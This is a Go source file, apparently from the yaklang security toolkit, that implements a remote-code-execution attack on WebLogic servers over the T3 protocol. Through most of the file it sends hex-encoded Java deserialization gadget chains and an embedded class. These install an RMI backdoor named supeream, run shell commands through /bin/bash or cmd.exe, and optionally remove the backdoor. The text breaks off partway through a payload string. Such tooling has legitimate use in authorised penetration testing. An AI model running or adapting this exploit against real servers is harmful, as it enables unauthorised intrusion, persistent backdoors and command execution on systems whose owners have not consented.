-
Notifications
You must be signed in to change notification settings - Fork 43
/
T3Paylaod.go
408 lines (373 loc) · 52.6 KB
/
T3Paylaod.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
package t3
import (
"bytes"
"errors"
"fmt"
"github.com/yaklang/yaklang/common/log"
"github.com/yaklang/yaklang/common/netx"
utils2 "github.com/yaklang/yaklang/common/utils"
"github.com/yaklang/yaklang/common/yak/yaklib/codec"
"github.com/yaklang/yaklang/common/yserx"
"github.com/yaklang/yaklang/common/yso"
"net"
"strconv"
"strings"
"time"
)
type T3Paylaod struct {
Ip string
Port int
sendedHeader bool
invokeId []byte
showHeader func()
timeout time.Duration
clearBackdoor bool
payload []byte
handler func(string)
proxy string
}
type OptionFun func(*T3Paylaod)
func NewT3Payload(o ...OptionFun) *T3Paylaod {
t := &T3Paylaod{sendedHeader: false, showHeader: func() {}, handler: func(s string) {}}
for _, option := range o {
option(t)
}
return t
}
func (t *T3Paylaod) debugf(format string, args ...interface{}) {
msg := fmt.Sprintf(format, args...)
t.handler(msg)
log.Info(msg)
}
func (t *T3Paylaod) debug(format string) {
t.debugf(format)
}
func (t *T3Paylaod) Exec(cmd string) (_ string, err error) {
defer func() {
if err1 := recover(); err1 != nil {
err = utils2.Error(err1)
return
}
}()
var conn net.Conn
conn, err = netx.DialTCPTimeout(t.timeout, t.addr(), t.proxy)
if err != nil {
return "", err
}
t.sendHeader(conn)
var byt []byte
var haveBeenTriedForInstallRMI bool = false
var lookupAmpInstallRMI func() error
lookupAmpInstallRMI = func() error {
var err error
res, err := t.sendContext(conn)
_ = res
//print(len(res))
byt, err = t.sendLookup(conn, "supeream")
//ioutil.WriteFile("/Users/z3/Downloads/byt", byt, 0666)
if err != nil {
return err
}
if byt == nil {
return utils2.Errorf("%v lookup supeream failed: empty", t.addr())
}
n := yso.IndexFromBytes(byt, "com.supeream.payload")
if n == -1 {
if haveBeenTriedForInstallRMI {
return utils2.Errorf("%v install rmi backdoor failed", t.addr())
}
t.debug("rmi backdoor is not installed, installing...")
err = t.installRmi()
haveBeenTriedForInstallRMI = true
if err != nil {
log.Warningf("send rmi install paylaod error: %s", err)
}
return lookupAmpInstallRMI()
}
if haveBeenTriedForInstallRMI {
t.debugf("install [%v] rmi backdoor successful", conn.RemoteAddr())
} else {
t.debugf("rmi [%v] backdoor exist", conn.RemoteAddr())
}
return nil
}
err = lookupAmpInstallRMI()
if err != nil {
return "", err
}
i := yso.IndexFromBytes(byt, "\x78\x70\x77\x04")
if len(byt) < i+8 {
return "", utils2.Error("cannot found invokeId")
}
t.invokeId = byt[i+4 : i+8]
//println(codec.EncodeToHex(byt))
//byt := t.Read(readTimeOut)
//ioutil.WriteFile()
//t.ShowBytes(readTimeOut)
byt, err = t.sendInvoke(conn, cmd)
if err != nil {
return "", utils2.Errorf("send invoke to[%v] failed: %s", conn.RemoteAddr(), err.Error())
}
if len(byt) < 22 {
return "", utils2.Error("invoke response failed: buffer too small")
}
ch1 := int(byt[20]) << 8
ch2 := int(byt[21])
// slice 越界
if len(byt) < 22+ch1+ch2 {
return "", utils2.Error("fetch invoke result error...")
}
res := string(byt[22 : 22+ch1+ch2])
if t.clearBackdoor {
t.uninstallRmi()
t.debug("rmi backdoor has bean uninstalled")
}
return res, nil
}
func (t *T3Paylaod) SendPayload(payload []byte) error {
t.debug("Send payload...")
var err error
var conn net.Conn
conn, err = netx.DialTCPTimeout(t.timeout, t.addr(), t.proxy)
if err != nil {
return err
}
header := "t3 7.0.0.0\nAS:10\nHL:19\n\n"
conn.Write([]byte(header))
//utils2.ReadConnWithTimeout()
datad := utils2.StableReaderEx(conn, t.timeout, 10240)
if len(datad) == 0 {
return errors.New("read empty")
}
//println(string(byt))
//addr := fmt.Sprintf("%s:%d", t.Ip, t.Port)
//if !t.sendedHeader {
// t.sendHeader()
// t.sendedHeader = true
//}
cmd := "\x08"
qos := "\x65"
flags := "\x01"
responseId := "\xff\xff\xff\xff"
invokableId := "\xff\xff\xff\xff"
abbrevOffset := "\x00\x00\x00\x00"
//countLength := "\x01"
//capacityLength := "\xfe\x01\x00" //必须大于上面设置的AS值
capacityLength := "\x10"
readObjectType := "\x00" //00 object deserial 01 ascii
data := cmd + qos + flags + responseId + invokableId + abbrevOffset
data += "\x04"
writeObj := func(p []byte) {
data += (capacityLength + readObjectType)
data += string(p)
}
writeObj(payload)
//authenticatedUser := genAuth("t3", "admin123")
authenticatedUser := []byte("\xac\xed\x00\x05\x73\x72\x00\x30\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x61\x63\x6c\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x41\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65\x64\x55\x73\x65\x72\x5c\xf8\xe9\x68\x4f\x73\xeb\x7b\x02\x00\x07\x49\x00\x09\x6c\x6f\x63\x61\x6c\x50\x6f\x72\x74\x42\x00\x03\x71\x6f\x73\x4a\x00\x09\x74\x69\x6d\x65\x53\x74\x61\x6d\x70\x4c\x00\x0b\x69\x6e\x65\x74\x41\x64\x64\x72\x65\x73\x73\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x6e\x65\x74\x2f\x49\x6e\x65\x74\x41\x64\x64\x72\x65\x73\x73\x3b\x4c\x00\x0c\x6c\x6f\x63\x61\x6c\x41\x64\x64\x72\x65\x73\x73\x71\x00\x7e\x00\x01\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x09\x73\x69\x67\x6e\x61\x74\x75\x72\x65\x74\x00\x02\x5b\x42\x78\x70\xff\xff\xff\xff\x65\x00\x00\x01\x80\x27\x04\x7f\xf5\x70\x70\x74\x00\x08\x77\x65\x62\x6c\x6f\x67\x69\x63\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00\x00\x10\x31\x4e\x7f\x43\x3b\xd0\x3a\xad\x79\x88\x1c\xc9\x12\x3e\xaa\x2c")
srcJVMID := []byte("\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1c\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x09\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x83\xb5\x79\x52\x00\x00\x00\x00\x78")
dstJVMID := []byte("\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x11\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x78")
writeObj(authenticatedUser)
writeObj(srcJVMID)
writeObj(dstJVMID)
headers := []byte(data)
l := len(headers) + 4
bl := yserx.IntTo4Bytes(l)
req := append(bl, headers...)
//ioutil.WriteFile("/Users/z3/Downloads/payloadReq.data", req, 0666)
//p := "0000168a086501ffffffffffffffff00000000041000aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004001e20000000000000010000144eaced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000077372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200296f72672e6d6f7a696c6c612e636c61737366696c652e446566696e696e67436c6173734c6f61646572000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000787000000001757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400166765744465636c61726564436f6e7374727563746f7275717a00000400007e001d000000017671007e001d7371007e00167571007e001b000000017571007e001b0000000074000b6e6577496e7374616e63657571007e001d000000017671007e001b7371007e00167571007e001b0000000274001f636f6d2e737570657265616d2e7061796c6f61642e52656d6f7465496d706c757200025b42acf317f8060854e0020000787000000e12cafebabe0000003200d10a003500720700730a000200720800740a007500760a000200770700780a0007007208007908007a0b007b007c08007d0b007b007e07007f0700800a000f00810a000f00820a000f00830a000f00840800850a007500860800870a007500880800890a008a008b0a0075008c08008d0a0075008e07008f0a001d00720800900b009100920800930800940800950800960700970a002500980a002500990a0025009a07009b07009c0a009d009e0a002a009f0a002900a00700a10a002e00720a002900a20a002e00a30800a40a002e00a50a000e00a60700a70700a80100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100214c636f6d2f737570657265616d2f7061796c6f61642f52656d6f7465496d706c3b0100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100036374780100164c6a617661782f6e616d696e672f436f6e746578743b01000672656d6f7465010001650100154c6a6176612f6c616e672f457863657074696f6e3b010004617267730100135b4c6a6176612f6c616e672f537472696e673b01000d537461636b4d61705461626c650700730700a907007f0100117365745365727665724c6f636174696f6e010027284c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f537472696e673b2956010003636d640100124c6a6176612f6c616e672f537472696e673b01000a457863657074696f6e730700aa01000a75706c6f616446696c65010017284c6a6176612f6c616e672f537472696e673b5b42295601001066696c654f757470757453747265616d01001a4c6a6176612f696f2f46696c654f757470757453747265616d3b01000470617468010007636f6e74656e740100025b420100116765745365727665724c6f636174696f6e010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f7a00000400636573733b01000262720100184c6a6176612f696f2f42756666657265645265616465723b01000273620100184c6a6176612f6c616e672f537472696e674275666665723b0100046c696e650100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b0700ab0700ac0700970700ad07009b0700a101000a536f7572636546696c6501000f52656d6f7465496d706c2e6a6176610c0037003801001f636f6d2f737570657265616d2f7061796c6f61642f52656d6f7465496d706c010005626c696e640700ab0c00ae00af0c0058005901001b6a617661782f6e616d696e672f496e697469616c436f6e74657874010007696e7374616c6c010008737570657265616d0700a90c00b000b1010009756e696e7374616c6c0c00b200b30100136a6176612f6c616e672f457863657074696f6e0100186a6176612f696f2f46696c654f757470757453747265616d0c003700b30c00b400b50c00b600380c00b7003801000a73686f776d65636f64650c00b800af0100096775657373206d653f0c00b900ba0100076f732e6e616d650700bb0c00bc00590c00bd00be01000377696e0c00bf00c00100136a6176612f7574696c2f41727261794c697374010004244e4f240700ac0c00c100c20100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c003700c30c00c400c50c00c600c70100166a6176612f696f2f42756666657265645265616465720100196a6176612f696f2f496e70757453747265616d5265616465720700ad0c00c800c90c003700ca0c003700cb0100166a6176612f6c616e672f537472696e674275666665720c00cc00be0c00cd00ce0100010a0c00cf00be0c00d000be0100106a6176612f6c616e672f4f626a65637401002e7765626c6f6769632f636c75737465722f73696e676c65746f6e2f436c75737465724d617374657252656d6f74650100146a617661782f6e616d696e672f436f6e746578740100186a6176612f726d692f52656d6f7465457863657074696f6e0100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100116a6176612f6c616e672f50726f63657373010010657175616c7349676e6f726543617365010015284c6a6176612f6c616e672f537472696e673b295a010006726562696e64010027284c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b2956010006756e62696e64010015284c6a6176612f6c616e672f537472696e673b29560100057772697465010005285b422956010005666c757368010005636c7a000004006f736501000a73746172747357697468010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b0100106a6176612f6c616e672f53797374656d01000b67657450726f706572747901000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b01000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b010018284c6a6176612f696f2f496e70757453747265616d3b2956010013284c6a6176612f696f2f5265616465723b2956010008726561644c696e65010006617070656e6401002c284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275666665723b010008746f537472696e6701000a6765744d6573736167650021000200350001003600000005000100370038000100390000002f00010001000000052ab70001b100000002003a00000006000100000015003b0000000c000100000005003c003d00000009003e003f00010039000000f90003000300000061bb000259b700034c2abe05a000192a03321204b6000599000e2b2a0432b6000657a7003b2abe04a00035bb000759b700084d2a03321209b6000599000f2c120a2bb9000b0300a700162a0332120cb6000599000b2c120ab9000d0200a700044cb100010000005c005f000e0003003a00000032000c0000001a0008001c0019001d0024001e002a001f00320020003d00210049002200540023005c0028005f002600600029003b0000002a00040032002a004000410002000800540042003d000100600000004300440001000000610045004600000047000000160005fc0024070048fc0024070049f900124207004a000001004b004c000200390000003f0000000300000001b100000002003a0000000600010000002f003b00000020000300000001003c003d000000000001004d004e0001000000010045004e0002004f00000004000100500009005100520001003900000090000300030000001bbb000f592ab700104d2c2bb600112cb600122cb60013a700044db10001000000160019000e0003003a0000001e00070000003300090034000e0035001200360016003900190037001a003a003b0000002a00040009000d0053005400027a00000400001a00000043004400020000001b0055004e00000000001b00560057000100470000000700025907004a0000010058005900020039000002540005000a000000ee2b1214b600159a00061216b02b100ab600174c043d1218b800194e2dc600112db6001a121bb6001c990005033dbb001d59b7001e3a042b121fb6001599001319042b07b60017b90020020057a700441c99002319041221b9002002005719041222b9002002005719042bb90020020057a7002019041223b9002002005719041224b9002002005719042bb90020020057bb0025591904b700263a05190504b60027571905b600283a06bb002959bb002a591906b6002bb7002cb7002d3a07bb002e59b7002f3a081907b60030593a09c6001319081909b600311232b6003157a7ffe81908b60033b04d2cb60034b000020000000b00e8000e000c00e700e8000e0004003a0000006e001b0000004100090042000c00440013004700150048001b0049002b004a002d004d0036004f003f0050004f005100530052005d00530067005400730056007d0057008700580090005b009b005c00a2005d00a9005f00be006000c7006300d2006400e2006700e8006800e90069003b00000070000b001500d3005a005b0002001b00cd005c004e0003003600b2005d005e0004009b004d005f0060000500a9003f00610062000600be002a00630064000700c7002100650066000800cf00190067004e000900e90005004300440002000000ee003c003d0000000000ee004d004e000100680000000c0001003600b2005d0069000400470000004800080cfd00200107006afc002107006b231cff0036000907004807006a0107006a07006b07006c07006d07006e07006f0000fc001a07006aff0005000207004807006a000107004a004f00000004000100500001007000000002007174000b646566696e65436c6173737571007e001d00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e002b7371007e00167571007e001b000000027400046d61696e7571007e001d00000001767200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078707400096765744d6574686f647571007e001d0000000271007e003071007e00217371007e00167571007e001b00000002707571007e001b000000017571007e003600000001740007696e7374616c6c740006696e766f6b657571007e001d00000002767200106a6176612e6c616e672e4f626a6563740000000000000000000000787071007e00277371007e0011737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f4000000000000078737200116a6176612e7574696c2e486173684d61700507dac1c31660775bd103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e0049781000aced0005737200307765626c6f6769632e73656375726974792e61636c2e696e7465726e616c2e41757468656e74696361746564557365725cf8e9684f73eb7b0200074900096c6f63616c506f7274420003716f734a000974696d655374616d704c000b696e6574416464726573737400164c6a6176612f6e65742f496e6574416464726573733b4c000c6c6f63616c4164647265737371007e00014c00046e616d657400124c6a6176612f6c616e672f537472696e673b5b00097369676e61747572657400025b427870ffffffff65000001805a5a689b70707400087765626c6f676963757200025b42acf317f8060854e0020000787000000010914caf63796c8439572a675e8241ed701000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771c01000000000000000100093132372e302e302e3183b5795200000000781000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707711000000000000000001000000000000000078"
//pp, _ := codec.DecodeHex(p)
conn.Write(req)
return err
}
func (t *T3Paylaod) uninstallRmi() error {
scontent := "ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000004001E200000000000000100001450ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000077372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200296F72672E6D6F7A696C6C612E636C61737366696C652E446566696E696E67436C6173734C6F61646572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020000787000000001757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400166765744465636C61726564436F6E7374727563746F7275717A00000400007E001D000000017671007E001D7371007E00167571007E001B000000017571007E001B0000000074000B6E6577496E7374616E63657571007E001D000000017671007E001B7371007E00167571007E001B0000000274001F636F6D2E737570657265616D2E7061796C6F61642E52656D6F7465496D706C757200025B42ACF317F8060854E0020000787000000E12CAFEBABE0000003200D10A003500720700730A000200720800740A007500760A000200770700780A0007007208007908007A0B007B007C08007D0B007B007E07007F0700800A000F00810A000F00820A000F00830A000F00840800850A007500860800870A007500880800890A008A008B0A0075008C08008D0A0075008E07008F0A001D00720800900B009100920800930800940800950800960700970A002500980A002500990A0025009A07009B07009C0A009D009E0A002A009F0A002900A00700A10A002E00720A002900A20A002E00A30800A40A002E00A50A000E00A60700A70700A80100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100214C636F6D2F737570657265616D2F7061796C6F61642F52656D6F7465496D706C3B0100046D61696E010016285B4C6A6176612F6C616E672F537472696E673B29560100036374780100164C6A617661782F6E616D696E672F436F6E746578743B01000672656D6F7465010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004617267730100135B4C6A6176612F6C616E672F537472696E673B01000D537461636B4D61705461626C650700730700A907007F0100117365745365727665724C6F636174696F6E010027284C6A6176612F6C616E672F537472696E673B4C6A6176612F6C616E672F537472696E673B2956010003636D640100124C6A6176612F6C616E672F537472696E673B01000A457863657074696F6E730700AA01000A75706C6F616446696C65010017284C6A6176612F6C616E672F537472696E673B5B42295601001066696C654F757470757453747265616D01001A4C6A6176612F696F2F46696C654F757470757453747265616D3B01000470617468010007636F6E74656E740100025B420100116765745365727665724C6F636174696F6E010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B01000769734C696E75780100015A0100056F73547970010004636D64730100104C6A6176612F7574696C2F4C6973743B01000E70726F636573734275696C64657201001A4C6A6176612F6C616E672F50726F636573734275696C6465723B01000470726F630100134C6A6176612F6C616E672F50726F7A00000400636573733B01000262720100184C6A6176612F696F2F42756666657265645265616465723B01000273620100184C6A6176612F6C616E672F537472696E674275666665723B0100046C696E650100164C6F63616C5661726961626C65547970655461626C650100244C6A6176612F7574696C2F4C6973743C4C6A6176612F6C616E672F537472696E673B3E3B0700AB0700AC0700970700AD07009B0700A101000A536F7572636546696C6501000F52656D6F7465496D706C2E6A6176610C0037003801001F636F6D2F737570657265616D2F7061796C6F61642F52656D6F7465496D706C010005626C696E640700AB0C00AE00AF0C0058005901001B6A617661782F6E616D696E672F496E697469616C436F6E74657874010007696E7374616C6C010008737570657265616D0700A90C00B000B1010009756E696E7374616C6C0C00B200B30100136A6176612F6C616E672F457863657074696F6E0100186A6176612F696F2F46696C654F757470757453747265616D0C003700B30C00B400B50C00B600380C00B7003801000A73686F776D65636F64650C00B800AF0100096775657373206D653F0C00B900BA0100076F732E6E616D650700BB0C00BC00590C00BD00BE01000377696E0C00BF00C00100136A6176612F7574696C2F41727261794C697374010004244E4F240700AC0C00C100C20100092F62696E2F626173680100022D63010007636D642E6578650100022F630100186A6176612F6C616E672F50726F636573734275696C6465720C003700C30C00C400C50C00C600C70100166A6176612F696F2F42756666657265645265616465720100196A6176612F696F2F496E70757453747265616D5265616465720700AD0C00C800C90C003700CA0C003700CB0100166A6176612F6C616E672F537472696E674275666665720C00CC00BE0C00CD00CE0100010A0C00CF00BE0C00D000BE0100106A6176612F6C616E672F4F626A65637401002E7765626C6F6769632F636C75737465722F73696E676C65746F6E2F436C75737465724D617374657252656D6F74650100146A617661782F6E616D696E672F436F6E746578740100186A6176612F726D692F52656D6F7465457863657074696F6E0100106A6176612F6C616E672F537472696E6701000E6A6176612F7574696C2F4C6973740100116A6176612F6C616E672F50726F63657373010010657175616C7349676E6F726543617365010015284C6A6176612F6C616E672F537472696E673B295A010006726562696E64010027284C6A6176612F6C616E672F537472696E673B4C6A6176612F6C616E672F4F626A6563743B2956010006756E62696E64010015284C6A6176612F6C616E672F537472696E673B29560100057772697465010005285B422956010005666C757368010005636C7A000004006F736501000A73746172747357697468010009737562737472696E670100152849294C6A6176612F6C616E672F537472696E673B0100106A6176612F6C616E672F53797374656D01000B67657450726F706572747901000B746F4C6F7765724361736501001428294C6A6176612F6C616E672F537472696E673B010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A010003616464010015284C6A6176612F6C616E672F4F626A6563743B295A010013284C6A6176612F7574696C2F4C6973743B295601001372656469726563744572726F7253747265616D01001D285A294C6A6176612F6C616E672F50726F636573734275696C6465723B010005737461727401001528294C6A6176612F6C616E672F50726F636573733B01000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B010018284C6A6176612F696F2F496E70757453747265616D3B2956010013284C6A6176612F696F2F5265616465723B2956010008726561644C696E65010006617070656E6401002C284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E674275666665723B010008746F537472696E6701000A6765744D6573736167650021000200350001003600000005000100370038000100390000002F00010001000000052AB70001B100000002003A00000006000100000015003B0000000C000100000005003C003D00000009003E003F00010039000000F90003000300000061BB000259B700034C2ABE05A000192A03321204B6000599000E2B2A0432B6000657A7003B2ABE04A00035BB000759B700084D2A03321209B6000599000F2C120A2BB9000B0300A700162A0332120CB6000599000B2C120AB9000D0200A700044CB100010000005C005F000E0003003A00000032000C0000001A0008001C0019001D0024001E002A001F00320020003D00210049002200540023005C0028005F002600600029003B0000002A00040032002A004000410002000800540042003D000100600000004300440001000000610045004600000047000000160005FC0024070048FC0024070049F900124207004A000001004B004C000200390000003F0000000300000001B100000002003A0000000600010000002F003B00000020000300000001003C003D000000000001004D004E0001000000010045004E0002004F00000004000100500009005100520001003900000090000300030000001BBB000F592AB700104D2C2BB600112CB600122CB60013A700044DB10001000000160019000E0003003A0000001E00070000003300090034000E0035001200360016003900190037001A003A003B0000002A00040009000D0053005400027A00000400001A00000043004400020000001B0055004E00000000001B00560057000100470000000700025907004A0000010058005900020039000002540005000A000000EE2B1214B600159A00061216B02B100AB600174C043D1218B800194E2DC600112DB6001A121BB6001C990005033DBB001D59B7001E3A042B121FB6001599001319042B07B60017B90020020057A700441C99002319041221B9002002005719041222B9002002005719042BB90020020057A7002019041223B9002002005719041224B9002002005719042BB90020020057BB0025591904B700263A05190504B60027571905B600283A06BB002959BB002A591906B6002BB7002CB7002D3A07BB002E59B7002F3A081907B60030593A09C6001319081909B600311232B6003157A7FFE81908B60033B04D2CB60034B000020000000B00E8000E000C00E700E8000E0004003A0000006E001B0000004100090042000C00440013004700150048001B0049002B004A002D004D0036004F003F0050004F005100530052005D00530067005400730056007D0057008700580090005B009B005C00A2005D00A9005F00BE006000C7006300D2006400E2006700E8006800E90069003B00000070000B001500D3005A005B0002001B00CD005C004E0003003600B2005D005E0004009B004D005F0060000500A9003F00610062000600BE002A00630064000700C7002100650066000800CF00190067004E000900E90005004300440002000000EE003C003D0000000000EE004D004E000100680000000C0001003600B2005D0069000400470000004800080CFD00200107006AFC002107006B231CFF0036000907004807006A0107006A07006B07006C07006D07006E07006F0000FC001A07006AFF0005000207004807006A000107004A004F00000004000100500001007000000002007174000B646566696E65436C6173737571007E001D00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E002B7371007E00167571007E001B000000027400046D61696E7571007E001D